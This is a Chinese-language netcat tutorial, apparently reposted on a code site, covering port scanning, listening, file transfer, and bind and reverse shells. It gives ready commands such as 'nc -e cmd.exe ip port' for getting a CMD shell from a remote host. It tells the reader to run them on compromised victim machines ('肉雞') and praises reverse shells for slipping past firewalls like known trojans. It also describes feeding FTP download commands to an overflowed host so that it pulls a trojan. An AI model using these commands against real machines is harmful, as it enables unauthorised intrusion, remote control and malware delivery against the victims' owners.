nc 高級使用教程簡介


 

 

===========================================================================

【本地運行】nc -v ip port

【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細輸出。

===========================================================================

【本地運行】nc -v -z ip port-port

【命令解釋】掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢。

===========================================================================

【本地運行】nc -v -z -u ip  port-port

【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細輸出,但掃描速度較慢。

===========================================================================

【本地運行】nc -l -p 80 

【命令解釋】開啟本機的 TCP 80 端口並監聽。

===========================================================================

【本地運行】nc -l -v -p 80

【命令解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到當前 CMD 窗口。

===========================================================================

【本地運行】nc -l -p 80 > E:/log.dat

【命令解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到 E:/log.dat 下的日志文件里。

===========================================================================

【本地運行】nc -nvv 192.168.1.101 80 

【命令解釋】連接到192.168.1.101主機的 80 端口。

===========================================================================

【本地運行】nc -nvv -w2 -z 192.168.1.101 80-1024 

【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間為2秒。

===========================================================================

【遠程運行】nc -l -p 2012 -t -e cmd.exe

【本地運行】nc -nvv 192.168.1.101 2012

【命令解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到

【命令解釋】2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用於

【命令解釋】連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。

===========================================================================

【本地運行】nc -l -p 2012

【遠程運行】nc -t -e cmd.exe 192.168.1.102 2012

【命令解釋】采用反向連接方式,先在本地主機運行 nc -l -p 2012 開啟本地主機的(注:假設IP地址為 192.168.1.102)2012 端口並監聽等待遠程主

【命令解釋】機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為

【命令解釋】2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。

===========================================================================

【本地運行】nc -v -n ip port < C:/sunzn.exe

【遠程運行】nc -v -l -p port > D:/sunzn.exe

【命令解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,並把這些數據發送到遠程主機的

【命令解釋】對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口並

【命令解釋】把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。

===========================================================================

【本地運行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中為FTP自動下載命令)

【命令解釋】不停地監聽 8989 端口,並把 C:\ftp.txt  中的內容發給任何一台連接本機 8989 端口的主機,可起到傳送文件作用(此用法經常用於反向

【命令解釋】溢出)。溢出遠程主機時,一旦溢出的遠程主機連接本地主機 8989 端口,遠程主機就會自動用 FTP 下載指定的文件,如木馬。

===========================================================================

寫一篇簡單一點的使用教程:

  

命令1:監聽命令

nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port

參數解釋:

-l:監聽端口,監聽入站信息
-p:后跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息

提示:一般大家都愛用-vv

nc -l -p 80

這個很簡單,監聽80端口
如果機器上運行這個命令,端口80被認為是開放的,可以欺騙掃描器

nc -l -p 80 > e:\log.dat

將詳細信息寫入E盤log.dat的日志文件

nc -l -v -p 80

和上邊命令相似,會直接顯示信息在運行着NC的屏幕上。

實踐:

例如:nc -l -v -p 80

然后在瀏覽器中輸入本機IP:127.0.0.1

 

命令2:程序定向(反彈shell的方法)

nc -l -p port -t -e cmd.exe

本地機: nc -l -p port 或 nc -l -v -p port

目標機:nc -e cmd.exe ip port

參數解釋:

-l、-p兩個參數已經解釋過了

-e;作用就是程序定向
-t:以telnet的形式來應答

例子

nc -l -p 5277 -t -e cmd.exe

千萬不要運行在自己的機器上,如果運行了,你機器就會變成一台TELNET的服務器了。

命令解釋為:監聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。

說白了,其實就是讓他成為一台TELNET的肉雞,所以這個命令要運行在你的肉雞上。

 

例如用法:

local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port

 

大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什么叫反彈端口?

就是說,當對方中馬后,不用你主動和對方連接,也就是說不用從你的client端向對方主機上運行的server端發送請求連接,而是對方主動來連接你這樣就可以使很多防火牆失效,因為很多防火牆都不檢查出站請求的。這里這兩個命令結合在一起后,於那兩款木馬可以說有異曲同工之效。

 

本地運行:nc -l -p 5277 (監聽本地5277端口)或者 nc -l -v -p 5277

然后在遠程機器上,想辦法運行 nc -e cmd.exe ip 5277

(你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣!!

 

這樣就是反彈~~在本地機器上得到了一個SHELL

命令3:掃描端口

nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port


參數解釋:

-z:將輸入輸出關掉,在掃描時使用

nc -v ip port

這個命令是針對某一個端口進行掃描

例如:

nc -v ip 135

掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息

例如:80端口

我們可以使用nc -v ip 80 然后使用get方法來獲得對方的WEB服務器的信息


nc -v -z ip port-port

這個命令是用來掃描的一個命令,這個命令用於快速掃描TCP端口,而port-port則是指定了掃描的端口范圍

例如:

nc -v -z ip 1-200

可以看到我機器上的1-200的TCP端口的開放情況


nc -v -z -u ip port-port

這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多了一個-u的參數,是用來掃UDP端口的

例如:

nc -v -z -u ip 1-200

這個命令就會掃1-200的UDP端口

命令4:傳送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe

參數解釋:

-n:指定數字的IP地址

這兩個命令結合起來是用來傳送文件的

首先,在遠程機上運行命令:

nc -v -l -p 5277 > c:\pulist.exe

這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口

並把接受到的信息數據寫到c:\pulist.exe中


這時候在本地機上運行

nc -v -n ip 5277 < e:\hack\pulist.exe

這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內容,並把這些數據發送到ip的5277端口上

這樣遠程主機就會自動創建一個pulist.exe文件。




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM